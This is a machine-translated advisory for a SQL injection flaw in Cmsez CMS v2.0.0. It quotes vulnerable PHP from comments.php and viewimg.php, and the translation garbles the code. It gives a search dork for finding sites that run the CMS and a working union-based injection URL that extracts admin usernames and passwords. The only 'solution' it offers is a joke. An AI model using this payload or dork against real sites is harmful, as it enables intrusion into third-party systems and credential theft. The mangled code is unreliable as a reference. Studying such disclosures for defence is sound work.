Cmsez (suiyi) zero-day full-site system and repair solution

Program name: Cmsez Web Content Manage System v2.0.0
Vulnerability discovery: Xiao Shuai)
Announcement date: 08-03-14
Vulnerability impact: severe
Vulnerability file: comments. php viewimg. php
Site: http://www.cmsez.com/
Vulnerability code:

---------------

<?
// Comments
Include "mainfile. php ";
$ Art = new article ();
// Set
$ Confirm = yes; // yes: display only after administrator authentication is required. no: display directly
$ Member = new member ();
$ User_info = $ member-> member_auth ();
$ Ulevel = $ user_info [user_level];
#############
$ Action = $ _ REQUEST [action];
$ Page = "10 ";//
$ Need_user = "0 ";//
$ Id = $ _ REQUEST [id]; // The ID parameter is not filtered.
$ Fdb = $ PlusDB-> prefix (forum); // comment on the database
Switch ($ action ){
Case "showNum ":
$ SQL = "select count (*) as num from". $ fdb. "where post_aid = $ id ";
$ ShowNum = $ PlusDB-> getone ($ SQL );
Echo"
Function comment (id)
{
Var page = "". PLUS_URL. "/comments. php? Id = "+ id;
Popwin = window. open (page, "", "width = 460, height = 500, scrollbars, resizable ")
Popwin. focus ();
}
Document. open ();
Document. write ("<a href = \" javascript: comment ($ id) \ "title = \"". _ LANG_0930. "\"> ". _ LANG_0931. "$ showNum ". _ LANG_0932. "</a> ");
Document. close ();";
Break;
Case "saveComment ":

--------------
Viewimg. php
--------------

<?
// Image. php displays the attachment image
Include "mainfile. php ";
$ Member = new member ();
$ Confirm = false; // only available for members with true or false values
$ User_info = $ member-> member_auth ();
If ($ user_info [user_level] = "Guest" & $ confirm = true ){
Include "modules/member/index. php ";
} Else {
$ Imgdb = $ PlusDB-> prefix (images );
$ Id = $ _ GET [id]; // meter filter. Why does it need to be obtained directly!
$ Aid = $ _ GET [aid]; // is dinner busy?
$ SQL = "select id from $ imgdb where aid = $ aid order by id ";

---------------------
Exp:
Allinurl: "owered by CMSEZ" comments. php inurlowered by CMSEZ
Http: // localhost/comments. php? Id = 1111111111111/**/union/**/1, concat (name, 0x3a, pass), 4/**/from/**/admin /*

-------------------

Solution:

It is best to close the station...